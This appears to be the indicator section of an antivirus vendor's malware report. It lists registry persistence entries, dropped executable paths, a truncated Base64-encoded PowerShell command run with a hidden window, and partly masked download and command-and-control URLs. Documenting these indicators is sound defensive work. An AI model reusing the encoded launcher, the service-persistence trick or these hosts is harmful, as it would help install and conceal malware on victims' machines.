Technical Information
- [<HKLM>\System\CurrentControlSet\Services\MP3DMOD] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\MP3DMOD] 'ImagePath' = '"%WINDIR%\SysWOW64\mfc120cht\MP3DMOD.exe"'
- 'MP3DMOD' "%WINDIR%\SysWOW64\mfc120cht\MP3DMOD.exe"
- 'MP3DMOD' %WINDIR%\SysWOW64\mfc120cht\MP3DMOD.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABPAGMAYQB2AHAAOAAzAD0AWwBjAGgAYQByAF0ANAAyADsAJABVADYAOQBiAGoANAAwAD0AKAAoACcAQgBuACcAKwAnAHoAYgB2ACcAKQArACcAOABsACcAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AaQAnACsAJwB0AGUAbQ...
- %HOMEPATH%\b20dyak\ovpqho4\v9ofyxp.exe
- %WINDIR%\syswow64\mfc120cht\mp3dmod.exe
- from %HOMEPATH%\b20dyak\ovpqho4\v9ofyxp.exe to %WINDIR%\syswow64\mfc120cht\mp3dmod.exe
- '18#.#57.101.114':80
- http://ne####turkiye.com/wp-admin/Sbp/
- http://18#.#57.101.114/B4tNp8B0d6i2/MbOEANJfEglhkIsAp/yu3ygHwvCvZU/0EMPNHbuVTBu0s/OxZwlSJpNRxNzd/
- DNS ASK ne####turkiye.com
- '%HOMEPATH%\b20dyak\ovpqho4\v9ofyxp.exe'
- '%WINDIR%\syswow64\mfc120cht\mp3dmod.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABPAGMAYQB2AHAAOAAzAD0AWwBjAGgAYQByAF0ANAAyADsAJABVADYAOQBiAGoANAAwAD0AKAAoACcAQgBuACcAKwAnAHoAYgB2ACcAKQArACcAOABsACcAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AaQAnACsAJwB0AGUAbQ...' (with hidden window)